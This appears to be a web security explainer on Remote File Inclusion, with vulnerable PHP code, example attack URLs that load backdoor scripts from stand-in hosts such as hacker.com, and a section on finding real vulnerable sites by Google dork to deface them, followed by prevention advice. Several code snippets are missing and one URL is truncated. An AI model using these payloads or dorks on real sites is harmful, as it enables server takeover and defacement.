What is Remote File Inclusion (RFI)?

Remote file inclusion (RFI) is an attack that targets vulnerabilities present in web applications that dynamically reference external scripts. The offender aims at exploiting the referencing function in an application in order to upload malware from a remote URL located in a different domain. Successful RFI attacks lead to compromised servers, information theft, and a site takeover that permits modification of content.

Remote File Inclusion Vulnerability Examples: RFI Examples

Following are the RFI examples of vulnerability:

A JSP page containing this line of code: can be manipulated with the following request: Page1.jsp?ParamName=/WEB-INF/DB/password. Processing the request discloses the content of the password file to the perpetrator.
A web application contains an import statement that requests content from a URL address, as presented here: If unsanitized, the same statement can be employed for malware injection. For example: Page2.jsp?conf=https://evilsite.com/attack.js
RFI attacks are mostly launched by manipulating the request parameters to refer to a remote malicious file. For example, consider the below given code:

Remote File Inclusion PHP

$incfile = $_REQUEST["file"]; include($incfile.".php");

Here, the very first line extracts the file parameter value from the HTTP request, while the second line employs that value to dynamically set the filename. This code can be exploited for unauthorized file uploads when suitable sanitation of the file parameter value is not available.

For example, this URL string http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor_ comprises an external reference to a backdoor file stored in a remote location (http://www.hacker.com/backdoor_shell.php.)

After getting uploaded to the application, this backdoor can be employed for hijacking the basic server or gaining access to the application database.

How does RFI Work?

To include a Remote File Inclusion, you will have to add a string with the URL of the file to an Include function of the respective language. The web server of the website under attack then makes a request to the remote file, fetches its contents and adds it on the web page serving the content. It then gets processed by the parser of the language.

Consider a developer who wishes to include a local file based on the GET parameter page. They have different files such as main.php, contact.php, and about.php, all of which provide different functionalities to the website. Each file can be called employing the following request:

https://example.com/index.php?page=contact.php

While the developer assumes that only files inside that folder are included, it could also be possible for an attacker to include files from another directory (LFI) or even from a completely different web server remote file inclusion (RFI). Without a whitelist, the attacker will be able to change the file path to the programming language's Include function. The attacker will be able to include a local file, but in a typical RFI attack, the path can be changed to a file that exists on a server they control. In this way, malicious code can be easily written inside a file, without the need to poison logs or inject code inside the webserver.

The impact of an exploited remote file inclusion RFI vulnerability may differ based on the execution permissions of the webserver user. Any included source code can be executed by the webserver along with the privileges of the existing web server user, allowing the execution of arbitrary code. Full system compromise is also possible in instances when the webserver user has administrative privileges.

Defacing a Website with RFI

RFI is considered to be a common vulnerability that permits the attacker to upload malicious code or files on a server or website. All website hacking attacks are not exactly about SQL injection. By using RFI, you will be able to literally deface the websites, attain access to the server and practically play anything with the server. To hack a website or server with RFI, you will first need to find out an RFI vulnerable website. It is an established fact that finding an RFI vulnerability is the very first step to hack a website or server. Hence, get started by:

Go to Google and search for the following query. inurl: "index.php?page=home"
At the place of home, try some other pages like gallery, products etc.
If you are already aware of an RFI vulnerable website, you need not find it via Google.

RFI PHP

If it is a genuinely vulnerable website, then there could be three things that can happen:

You will be able to notice that the URL consisting of "page=home" had no extension. If you include an extension in the URL, the site may actually give an error like ‘failure to include maliciousScript.txt'. This can take place as the site may automatically add the .txt extension to the pages stored on a server.
If it automatically adds something in the lines of .php, then we have to use a null byte ‘%00' to avoid an error.
Successful execution

Remote File Inclusion (RFI) Prevention and Mitigation

To prevent RFI vulnerability exploitation, ensure that you disable the remote inclusion feature in your programming languages' configuration, especially if you do not need it. In RFI PHP, you can set allow_url_include to '0'. You should also verify user input before passing it to an Include function. The most preferred way to do this is with a whitelist of permitted files.

You can minimize the risk of RFI attacks via proper input validation and sanitization. However, keep in mind that it is important to avoid the misconception that all user inputs can be entirely sanitized. Consequently, sanitization should only be considered as a supplement to a genuine security solution. It is always better to sanitize user-supplied/controlled inputs to the best of your capability. These inputs include:

URL parameters
Cookie values
GET/POST parameters
HTTP header values

During the sanitization process, input fields will have to be checked against a whitelist instead of a blacklist. Blacklist validation is generally considered to be a weak solution because attackers can choose to supply input in a different format, such as hexadecimal or encoded formats. It is also good to apply output validation mechanisms on the server end. Client-side validation functions, holding the benefit of reducing processing overhead, are also considered to be vulnerable to attacks by proxy tools.

As a final tip, always consider restricting the execution of permission for the upload directories and make sure to maintain a whitelist of allowable file types besides restricting uploaded file sizes.

Web Application Firewall